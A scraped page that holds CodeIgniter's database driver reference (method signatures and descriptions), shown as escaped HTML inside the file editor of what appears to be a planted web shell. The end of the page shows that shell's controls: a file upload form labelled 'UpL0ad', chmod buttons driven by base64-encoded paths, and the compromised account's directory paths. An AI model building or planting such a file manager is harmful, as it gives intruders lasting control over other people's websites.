&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$item&lt;/strong&gt; (&lt;em&gt;mixed&lt;/em&gt;)  The item or array of items to escape&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The input item(s), escaped&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Escape SQL identifiers, such as column, table and names.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::insert_string&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;insert_string&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table&lt;/em&gt;, &lt;em&gt;$data&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::insert_string&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The target table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$data&lt;/strong&gt; (&lt;em&gt;array&lt;/em&gt;)  An associative array of key/value pairs&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The SQL INSERT statement, as a string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Generate an INSERT statement string.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::update_string&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;update_string&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table&lt;/em&gt;, &lt;em&gt;$data&lt;/em&gt;, &lt;em&gt;$where&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::update_string&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The target table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$data&lt;/strong&gt; (&lt;em&gt;array&lt;/em&gt;)  An associative array of key/value pairs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$where&lt;/strong&gt; (&lt;em&gt;mixed&lt;/em&gt;)  The WHERE statement conditions&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The SQL UPDATE statement, as a string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Generate an UPDATE statement string.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::call_function&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;call_function&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$function&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::call_function&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$function&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Function name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The function result&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Runs a native PHP function , using a platform agnostic
wrapper.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::cache_set_path&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;cache_set_path&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$path = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::cache_set_path&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$path&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Path to the cache directory&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;void&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Sets the directory path to use for caching storage.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::cache_on&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;cache_on&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::cache_on&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE if caching is on, FALSE if not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Enable database results caching.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::cache_off&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;cache_off&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::cache_off&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE if caching is on, FALSE if not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Disable database results caching.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::cache_delete&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;cache_delete&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$segment_one = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$segment_two = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::cache_delete&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$segment_one&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  First URI segment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$segment_two&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Second URI segment&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE on success, FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Delete the cache files associated with a particular URI.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::cache_delete_all&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;cache_delete_all&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::cache_delete_all&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE on success, FALSE on failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Delete all cache files.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::close&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;close&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::close&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;void&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Close the DB Connection.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::display_error&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;display_error&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$error = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$swap = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$native = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::display_error&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$error&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The error message&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$swap&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Any swap values&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$native&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether to localize the message&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;void&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Displays the DB error screensends the application/views/errors/error_db.php template&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Display an error message and stop script execution.&lt;/p&gt;
&lt;p&gt;The message is displayed using the
&lt;em&gt;application/views/errors/error_db.php&lt;/em&gt; template.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::protect_identifiers&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;protect_identifiers&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$item&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$prefix_single = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$protect_identifiers = NULL&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$field_exists = TRUE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::protect_identifiers&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$item&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The item to work with&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$prefix_single&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether to apply the dbprefix even if the input item is a single identifier&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$protect_identifiers&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether to quote identifiers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$field_exists&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether the supplied item contains a field name or not&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The modified item&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Takes a column or table name (optionally with an alias)
and applies the configured &lt;em&gt;dbprefix&lt;/em&gt; to it.&lt;/p&gt;
&lt;p&gt;Some logic is necessary in order to deal with
column names that include the path.&lt;/p&gt;
&lt;p&gt;Consider a query like this:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;database&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;column&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;database&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;table&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Or a query with aliasing:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;member_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;member_name&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;members&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Since the column name can include up to four segments
(host, DB, table, column) or also have an alias prefix,
we need to do a bit of work to figure this out and
insert the table prefix (if it exists) in the proper
position, and escape only the correct identifiers.&lt;/p&gt;
&lt;p&gt;This method is used extensively by the Query Builder class.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;/dd&gt;&lt;/dl&gt;

&lt;/div&gt;


          &lt;/div&gt;
          &lt;footer&gt;
  
    &lt;div class=&quot;rst-footer-buttons&quot; role=&quot;navigation&quot; aria-label=&quot;footer navigation&quot;&gt;
      
        &lt;a href=&quot;../helpers/index.html&quot; class=&quot;btn btn-neutral float-right&quot; title=&quot;Helpers&quot;&gt;Next &lt;span class=&quot;fa fa-arrow-circle-right&quot;&gt;&lt;/span&gt;&lt;/a&gt;
      
      
        &lt;a href=&quot;utilities.html&quot; class=&quot;btn btn-neutral&quot; title=&quot;Database Utility Class&quot;&gt;&lt;span class=&quot;fa fa-arrow-circle-left&quot;&gt;&lt;/span&gt; Previous&lt;/a&gt;
      
    &lt;/div&gt;
  

  &lt;hr/&gt;

  &lt;div role=&quot;contentinfo&quot;&gt;
    &lt;p&gt;
        &amp;copy; Copyright 2014 - 2019, British Columbia Institute of Technology.
      Last updated on Sep 19, 2019.
    &lt;/p&gt;
  &lt;/div&gt;

  Built with &lt;a href=&quot;http://sphinx-doc.org/&quot;&gt;Sphinx&lt;/a&gt; using a &lt;a href=&quot;https://github.com/snide/sphinx_rtd_theme&quot;&gt;theme&lt;/a&gt; provided by &lt;a href=&quot;https://readthedocs.org&quot;&gt;Read the Docs&lt;/a&gt;.
  
&lt;/footer&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/section&gt;

  &lt;/div&gt;
  


  

    &lt;script type=&quot;text/javascript&quot;&gt;
        var DOCUMENTATION_OPTIONS = {
            URL_ROOT:'../',
            VERSION:'3.1.11',
            COLLAPSE_INDEX:false,
            FILE_SUFFIX:'.html',
            HAS_SOURCE:  false
        };
    &lt;/script&gt;
      &lt;script type=&quot;text/javascript&quot; src=&quot;../_static/jquery.js&quot;&gt;&lt;/script&gt;
      &lt;script type=&quot;text/javascript&quot; src=&quot;../_static/underscore.js&quot;&gt;&lt;/script&gt;
      &lt;script type=&quot;text/javascript&quot; src=&quot;../_static/doctools.js&quot;&gt;&lt;/script&gt;

  

  
  
    &lt;script type=&quot;text/javascript&quot; src=&quot;../_static/js/theme.js&quot;&gt;&lt;/script&gt;
  

  
  
  &lt;script type=&quot;text/javascript&quot;&gt;
      jQuery(function () {
          SphinxRtdTheme.StickyNav.enable();
      });
  &lt;/script&gt;
   

&lt;/body&gt;
&lt;/html&gt;</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWw=">/home/mktssoci/public_html</a><hr>curdir: /home/mktssoci/creativeinstitution_in/admin/user_guide/database<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRl"/>..</a></td><td><input type="button" 